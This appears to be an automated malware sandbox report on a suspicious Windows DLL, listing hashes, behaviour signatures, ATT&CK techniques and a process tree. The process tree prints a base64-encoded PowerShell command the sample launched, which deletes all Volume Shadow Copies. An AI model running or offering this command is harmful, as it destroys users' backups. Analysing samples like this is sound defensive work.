Overview

overview

10

Static

static

10

131ef41cec...74.dll

windows7_x64

1

131ef41cec...74.dll

windows10-2004_x64

6

Analysis

  • max time kernel
    91s
  • max time network
    155s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220414-en
  • submitted
    03-06-2022 13:21

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    131ef41cecf434e04f594d28c30d640a4c2e717d939b9914e551e3c746d85a74.dll

  • Size

    164KB

  • MD5

    792bf3584c0254eca38f9ba6c6eab5d3

  • SHA1

    0201ecacfaa708dcf50257b2db3e37a21318c2ed

  • SHA256

    131ef41cecf434e04f594d28c30d640a4c2e717d939b9914e551e3c746d85a74

  • SHA512

    e544be1d58b897a1d2f9bd7fa47acdab203a8ba36cacfe35fa0062751b7b4c52fd1a8e1af0ed4bad99d1325a046317f3cda6d73b25454a08d946a6934c544aac

Score
6/10

Malware Config

Signatures

  • Enumerates connected drives 3 TTPs 24 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of WriteProcessMemory 5 IoCs

Processes

  • C:\Windows\system32\rundll32.exe
    rundll32.exe C:\Users\Admin\AppData\Local\Temp\131ef41cecf434e04f594d28c30d640a4c2e717d939b9914e551e3c746d85a74.dll,#1
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4556
    • C:\Windows\SysWOW64\rundll32.exe
      rundll32.exe C:\Users\Admin\AppData\Local\Temp\131ef41cecf434e04f594d28c30d640a4c2e717d939b9914e551e3c746d85a74.dll,#1
      2⤵
      • Enumerates connected drives
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:2108
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1704
  • C:\Windows\system32\wbem\unsecapp.exe
    C:\Windows\system32\wbem\unsecapp.exe -Embedding
    1⤵
      PID:4640
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:4244

    Network

    MITRE ATT&CK Matrix ATT&CK v6

    Initial Access

    Execution

    Persistence

    Privilege Escalation

    Defense Evasion

    Credential Access

    Discovery

    Query Registry

    1
    T1012

    Peripheral Device Discovery

    1
    T1120

    System Information Discovery

    1
    T1082

    Lateral Movement

    Collection

    Exfiltration

    Command and Control

    Impact

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/1704-131-0x0000000000000000-mapping.dmp
      Download
    • memory/1704-132-0x0000020D7E1E0000-0x0000020D7E202000-memory.dmp
      Filesize

      136KB

      Download
    • memory/1704-133-0x00007FF824590000-0x00007FF825051000-memory.dmp
      Filesize

      10.8MB

      Download
    • memory/1704-134-0x00007FF824590000-0x00007FF825051000-memory.dmp
      Filesize

      10.8MB

      Download
    • memory/2108-130-0x0000000000000000-mapping.dmp
      Download